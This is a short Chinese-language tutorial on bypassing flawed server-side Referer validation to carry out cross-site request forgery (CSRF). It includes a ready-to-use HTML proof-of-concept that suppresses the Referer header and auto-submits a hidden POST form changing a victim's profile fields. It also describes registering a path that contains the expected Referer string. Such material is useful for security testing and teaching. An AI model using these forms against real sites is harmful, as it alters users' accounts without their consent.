CSRF繞過後端Referer校驗分正常情況和不正常的情況,我們這裡主要討論開發在寫校驗referer程式時,不正常的情況下怎麼進行繞過。 正常情況 正常的情況指伺服器端校驗Referer的代碼沒毛病,那麼意味著前端是無法繞過的。 我之前考慮過的方案: JS修改Referer,失敗; 請求惡意網頁後 ...
CSRF繞過後端Referer校驗分正常情況和不正常的情況,我們這裡主要討論開發在寫校驗referer程式時,不正常的情況下怎麼進行繞過。
正常情況
正常的情況指伺服器端校驗Referer的代碼沒毛病,那麼意味著前端是無法繞過的。
我之前考慮過的方案:
- JS修改Referer,失敗;
- 請求惡意網頁後,後端重新送包,問題是你怎麼跨域拿Cookie,失敗;
不正常的情況
不正常的情況指伺服器端校驗Referer的代碼有漏洞,前端才能做到繞過,下麵介紹幾個可能會繞過Referer的案例;
添加無Referer標簽
可以嘗試無Referer標簽,萬一邏輯剛好沒判斷無Referer的情況呢;
<meta name="referrer" content="never">
<html>
<meta name="referrer" content="never">
<body>
<script>history.pushState('', '', '/')</script> <!-- 實現瀏覽器頁面不刷新修改url鏈接 -->
<form action="http://www.baidu.com/setProfile" method="POST">
<input type="hidden" name="nickname" value="new22" />
<input type="hidden" name="email" value="1@1.com" />
<input type="hidden" name="team" value="new22" />
<input type="hidden" name="address" value="new33" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
自建伺服器路徑帶referer欄位名
原理就是在路徑上創建成原本referer中有的欄位名,如果校驗只是判斷是否包含,那就666了;